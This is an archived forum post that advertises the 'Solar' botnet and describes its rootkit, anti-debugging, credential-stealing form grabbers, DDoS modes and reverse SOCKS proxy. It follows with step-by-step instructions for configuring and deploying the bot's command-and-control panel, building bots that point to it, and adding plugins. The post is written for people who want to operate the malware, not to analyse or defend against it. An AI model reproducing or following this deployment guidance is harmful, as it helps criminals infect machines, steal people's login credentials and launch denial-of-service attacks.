PDA

View Full Version : Solar Botnet Post Installation Configuration Tutorials



CpLover
02-04-2014, 06:32 AM
Solar is a professional modular based bot. It has the ability to fully hide in any windows system from Windows XP SP0 till Windows 8 latest service pack. Solar features various DDOS methods, herding options and a Formgrabber to grab HTTP, HTTPS from Internet Explorer, FireFox and Chrome, SPDY from FireFox and grabs POP3 and FTP login credentials from most email and ftp clients.

Tech Features:

Coded in Lazarus (Pascal)
Code is fully relocatable (Shellcode)
Uses custom CRC32 API loader
Uses BeaEngine Disassembler for x86 and x64
Uses named pipes for inter-process communication
Multpiple layers of encryption and compression
Global Ring 3 rootkit
No own process
Fully Unicode
No dependencies (Only standard system DLLs)
Multiple Anti-Debug methods
Unique Server->Bot traffic encryption
Anti bot installation

Features:

Internet Explorer Formgrabber
Mozilla FireFox Formgrabber
Google Chrome Formgrabber
SPDY Grabbing
FTP and POP3 Grabber
SlowLoris DDOS
SlowPost DDOS
GET Flood
UDP DDOS
Update and Download System
MD5 Verified Update and Download System
Reverse Socks 5
Browse URL (Visible)
Browse URL (Hidden)

Verified Download from Home Source: Default Parallels Plesk Panel Page (http://solarbot.net/)

Post Installation Configuration :
Refer the attached screenshots for guidance.

Step 1.
Edit config.php like so:

$sUser = "your_mysql_username";
$sPass = "your_mysql_password";
$sDatabase = "solar_db_name";
$sPanelUsername = "solar_admin_username";
$sPanelPassword = "solar_admin_password"; //Password must be MD5 encrypted(MD5 - Online generator md5 hash (http://www.md5.cz/))
$dwSecondsOnline = 300;
$dwRecords = 100;

Step 2.

Upload Panel files to host:

Step 3.

Open the builder and enter url:
Add http://yoursite.com/path/
(path = what ever folder you put the panel in)
Then hit build!

Step 4.
Login:
The login url is http://yoursite.com/path/?login

Step 5.
Adding Plugins:
Enter the plugin name.
Enter plugin url: http://yoursite.com/path/Plugin.bin
(Make sure you enter caps where needed in the plugin name)

DONE!!